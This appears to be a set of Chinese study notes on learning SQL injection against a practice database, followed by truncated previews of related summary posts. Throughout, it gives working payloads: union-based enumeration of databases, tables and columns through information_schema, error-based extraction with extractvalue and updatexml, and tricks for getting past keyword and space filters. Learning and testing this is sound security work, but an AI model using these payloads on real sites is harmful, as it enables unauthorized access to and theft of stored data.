第一天
url 統一資源定位符 協議 主機號 目錄
–+ 注釋符 %20 代表空格
order by 15 --+ 閉合條件為 『
猜測列數
union all select 1,2,3 --+ 猜測顯示位
select schema_name from information_schema.schemata ; 查庫名
select table_name from information_schema.tables where schema_name=』security』;知道庫名輸入該庫的所有表名
select column_name from information_schema.columns where table_name=』users』 and table_schema=』security』;知道庫名,表名的情況下查詢庫下該錶的列名
select username from security.users;
第二天報錯型sql注入,適合沒有資料查詢但是有mysql報錯輸出的場景
當sql注入報錯型sql注入,適合沒有資料查詢但是有mysql報錯輸出的場景
當sql注入時,報錯時,錯誤語句也會丟擲一部份正確的資訊。
concat_wa函式
分隔符 0x3a
注入時,先找閉合。
第三天一 。 注入 『 時 可以判斷是整形注入還是字串注入
在資料庫中 1=1 和1=2 後面隨便輸入字串(相當於1=1和1=2後面的查詢語句),發現select 1="1dasd"時返回1正確,1="2dasd"時返回0錯誤,即select在查詢時忽略後面的字串,只讓1和後面第乙個數字對比,如果相等就是正確,不相等返回錯誤。
二、判斷查詢列數
order by 函式是對mysql中查詢結果按照指定欄位名進行排序,除了指定字 段名還可以指定欄位的字段進行排序,第乙個查詢欄位為1,第二個為2,依次 類推。我們可以通過二分法來猜解列數
輸入 order by 4%23 發現頁面錯誤,說明沒有4列
輸入3列時,頁面正常,說明有3列
三 聯合查詢注入利用的前提
聯合注入 必須前面條件是錯的,才可以顯示後面的結果
前提條件:頁面上有顯示位
什麼是顯示位?
在乙個在乙個**的正常頁面,服務端執行sql語句查詢資料庫中的資料,客戶端將數 據展示在頁面中,這個展示資料的位置就叫顯示位
四列出所有的資料庫名
union all select 1,(select group_concat(schema_name) from information_schema.schemata
列出所有的表名
union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=『security』)
部分函式作用
concat_ws函式作用
select concat_ws(』-』,『aa』,『bb』,『cc』)aa-bb-cc
concat 函式作用
select concat(『aa』,『bb』,『cc』)aabbcc
group_concat 函式作用
將資料全都輸出
extracvalue 函式
updataxml函式
extractvalue(1,concat(0x5c,database()))
updatexml(1,concat(0x3a,database()),1)
第四天注入順序:
先找注入點;
再確定互動方式;
再找閉合;
cookie 注入
過濾型注入
如果 and 和 or被過濾 可以
複寫 aandnd oorr 替換 and 等於&& or 等於 || 大小寫混合 and or
如果空格被過濾 可以
轉碼 %0a %0b %0c tab鍵
like 可以替換=
過濾的判斷
單引號被過濾 如 『security』
用hex編碼 將資料編碼
若為get型 在url中輸入 id=and1 如果輸出結果和id=1 並沒有區別,可以判斷伺服器過濾了and字元
SQL注入總結
在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...
sql注入總結
資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...
Sql注入總結
1 利用閉合變數報錯測試注入點,id 1 這樣說明存在單引號閉合注入 2 是否存在注入點,用and語句測試 id 1 and 1 2 id 1 and 1 1 3 猜測字段 id 1 order by 3 23 4 找到頁面中資料輸入點 id 1 union select 1,2,3 23 5 查資...